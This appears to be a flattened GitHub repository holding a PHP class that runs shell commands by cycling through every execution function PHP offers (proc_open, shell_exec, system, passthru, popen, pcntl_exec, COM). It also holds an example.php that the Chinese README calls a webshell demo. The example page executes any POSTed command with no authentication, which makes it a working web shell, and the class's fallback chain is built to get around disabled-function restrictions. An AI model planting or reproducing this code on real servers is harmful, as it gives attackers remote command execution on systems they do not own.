├── .gitignore ├── LICENSE ├── README.md ├── example.php └── shell.class.php /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/ 2 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 xiaoqidun 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 简而言之 2 | 大概是PHP最强大的SHELL执行类了 3 | # 系统兼容 4 | PHP 5.4 + (主要是用了中括号数组,改掉中括号数组可以要求更低) 5 | # 使用说明 6 | ## 示范代码 7 | ```php 8 | 13 | ``` 14 | ## example.php 15 | 这是一个使用shell.class.php实现的webshell工具,用于shell类演示。 16 | # 授权说明 17 | 使用本类库你唯一需要做的就是把LICENSE文件往你用到的项目中拷贝一份。 -------------------------------------------------------------------------------- /example.php: -------------------------------------------------------------------------------- 1 | 4 | */ 5 | $command = isset($_POST['command']) ? strval($_POST['command']) : ""; 6 | if ($command !== "") { 7 | require 'shell.class.php'; 8 | echo shell::command($command, "echo pwd", true); 9 | exit; 10 | } 11 | ?> 12 | 13 | 14 | web shell 15 | 46 | 94 | 95 | 96 | 97 |

 98 | 

 99 | 
100 | CopyRight © 2017- xiaoqidun@gmail.com All Rights Reserved 101 |
102 | 103 | -------------------------------------------------------------------------------- /shell.class.php: -------------------------------------------------------------------------------- 1 | 4 | */ 5 | 6 | class shell 7 | { 8 | public static $version = 'v1.0.0'; 9 | 10 | public static function Convert($string, $to = 'utf-8', $from = 'auto,cp936') 11 | { 12 | $func = 'mb_convert_encoding'; 13 | if (!function_exists($func)) { 14 | return $string; 15 | } 16 | return $func($string, $to, $from); 17 | } 18 | 19 | public static function Command($command, $testCommand = null, $convert = false) 20 | { 21 | $typeA = 'proc_open'; 22 | $typeB = 'shell_exec'; 23 | $typeC = 'exec'; 24 | $typeD = 'system'; 25 | $typeE = 'passthru'; 26 | $typeF = 'popen'; 27 | $typeG = 'pcntl_exec'; 28 | $typeH = 'com'; 29 | $typeRank = [ 30 | $typeH, 31 | $typeA, 32 | $typeB, 33 | $typeD, 34 | $typeE, 35 | $typeC, 36 | $typeF, 37 | $typeG 38 | ]; 39 | if (!is_array($command)) $command = [$command]; 40 | if (!is_array($testCommand) && $testCommand !== null) $testCommand = [$testCommand]; 41 | $commandFunctions = [ 42 | $typeA => [ 43 | 'command' => 44 | function ($command) { 45 | $cmd = "exec " . self::GetShellFile(); 46 | if (defined('PHP_WINDOWS_VERSION_BUILD')) { 47 | $cmd = self::GetShellFile(); 48 | } 49 | if (!is_resource($sh = proc_open($cmd, [ 50 | 0 => 51 | ["pipe", "r"], 52 | 1 => 53 | ["pipe", "w"] 54 | ], $pipes))) { 55 | return false; 56 | } 57 | foreach ($command as $commandLine) { 58 | fwrite($pipes[0], $commandLine . PHP_EOL); 59 | } 60 | fclose($pipes[0]); 61 | $result = stream_get_contents($pipes[1]); 62 | fclose($pipes[1]); 63 | proc_close($sh); 64 | return $result; 65 | }, 66 | 'function' => 67 | [ 68 | 'proc_open', 69 | 'stream_get_contents' 70 | ] 71 | ], 72 | $typeB => [ 73 | 'command' => function ($command) { 74 | $commandResult = ""; 75 | foreach ($command as $commandLine) { 76 | $commandResult .= shell_exec($commandLine); 77 | } 78 | return $commandResult; 79 | }, 80 | 'function' => [ 81 | 'shell_exec' 82 | ] 83 | ], 84 | $typeC => [ 85 | 'command' => function ($command) { 86 | $commandResult = ""; 87 | foreach ($command as $commandLine) { 88 | exec($commandLine, $commandOutput); 89 | $commandResult .= implode(PHP_EOL, $commandOutput); 90 | } 91 | return $commandResult; 92 | }, 93 | 'function' => [ 94 | 'exec' 95 | ] 96 | ], 97 | $typeD => [ 98 | 'command' => function ($command) { 99 | ob_start(); 100 | foreach ($command as $commandLine) { 101 | system($commandLine); 102 | } 103 | $commandResult = ob_get_clean(); 104 | return $commandResult; 105 | }, 106 | 'function' => [ 107 | 'system', 108 | 'ob_start', 109 | 'ob_get_clean' 110 | ] 111 | ], 112 | $typeE => [ 113 | 'command' => function ($command) { 114 | ob_start(); 115 | foreach ($command as $commandLine) { 116 | passthru($commandLine); 117 | } 118 | $commandResult = ob_get_clean(); 119 | return $commandResult; 120 | }, 121 | 'function' => [ 122 | 'passthru', 123 | 'ob_start', 124 | 'ob_get_clean' 125 | ] 126 | ], 127 | $typeF => [ 128 | 'command' => function ($command) { 129 | $commandResult = ""; 130 | foreach ($command as $commandLine) { 131 | $p = popen($commandLine, "r"); 132 | while (!feof($p)) { 133 | $commandResult .= fgets($p); 134 | } 135 | } 136 | }, 137 | 'function' => [ 138 | 'popen' 139 | ] 140 | ], 141 | $typeG => [ 142 | 'command' => function ($command) { 143 | $command[] = ''; 144 | $outputFile = tempnam(null, 'commandOutput_'); 145 | $outputFilePipe = sprintf(" >> %s 2>&1%s", $outputFile, PHP_EOL); 146 | $commandString = implode($outputFilePipe, $command); 147 | $commandProcess = pcntl_fork(); 148 | if ($commandProcess == 0) { 149 | pcntl_exec(self::GetShellFile(), ["-c", $commandString]); 150 | } 151 | pcntl_waitpid($commandProcess, $status); 152 | $commandResult = file_get_contents($outputFile); 153 | unlink($outputFile); 154 | return $commandResult; 155 | }, 156 | 'function' => [ 157 | 'pcntl_exec', 158 | 'pcntl_fork', 159 | 'pcntl_waitpid' 160 | ] 161 | ], 162 | $typeH => [ 163 | 'command' => function ($command) { 164 | $commandResult = ""; 165 | try { 166 | $ws = new \COM("wscript.shell"); 167 | $exec = $ws->Exec(self::GetShellFile()); 168 | foreach ($command as $commandLine) { 169 | $exec->StdIn->WriteLine("$commandLine"); 170 | } 171 | $exec->StdIn->WriteLine("exit"); 172 | $exec->StdIn->Close(); 173 | while (0 === $exec->Status) { 174 | time_nanosleep(0, 1e8); 175 | } 176 | $commandResult = $exec->StdOut->ReadAll() . $exec->StdErr->ReadAll(); 177 | } catch (\Exception $exception) { 178 | 179 | } 180 | return $commandResult; 181 | }, 182 | 'class' => [ 183 | '\COM' 184 | ] 185 | ] 186 | ]; 187 | foreach ($commandFunctions as $tag => $item) { 188 | if (isset($item['class'])) { 189 | foreach ($item['class'] as $cls) { 190 | if (!class_exists($cls)) { 191 | unset($func); 192 | unset($commandFunctions[$tag]); 193 | } 194 | } 195 | } 196 | if (isset($item['function'])) { 197 | foreach ($item['function'] as $func) { 198 | if (!function_exists($func)) { 199 | unset($func); 200 | unset($commandFunctions[$tag]); 201 | break; 202 | } 203 | unset($func); 204 | } 205 | } 206 | unset($tag); 207 | unset($item); 208 | } 209 | if ($testCommand !== null) { 210 | foreach ($commandFunctions as $tag => $item) { 211 | $commandResult = $item['command']($testCommand); 212 | if (1 > strlen($commandResult)) { 213 | unset($commandFunctions[$tag]); 214 | } 215 | unset($tag); 216 | unset($item); 217 | } 218 | } 219 | foreach ($typeRank as $type) { 220 | if (isset($commandFunctions[$type])) { 221 | $commandReturn = $commandFunctions[$type]['command']($command); 222 | if ($convert) { 223 | return self::Convert($commandReturn); 224 | } 225 | return $commandReturn; 226 | } 227 | unset($type); 228 | } 229 | return false; 230 | } 231 | 232 | public static function GetShellFile() 233 | { 234 | $shellFileList = [ 235 | 'C:\Windows\System32\cmd.exe', 236 | 'C:\Windows\SysWOW64\cmd.exe', 237 | '/system/bin/sh', 238 | '/bin/bash', 239 | '/bin/sh' 240 | ]; 241 | foreach ($shellFileList as $shellFile) { 242 | if (is_executable($shellFile)) { 243 | return $shellFile; 244 | } 245 | } 246 | if (defined('PHP_WINDOWS_VERSION_BUILD')) { 247 | return 'cmd.exe'; 248 | } 249 | return 'sh'; 250 | } 251 | } --------------------------------------------------------------------------------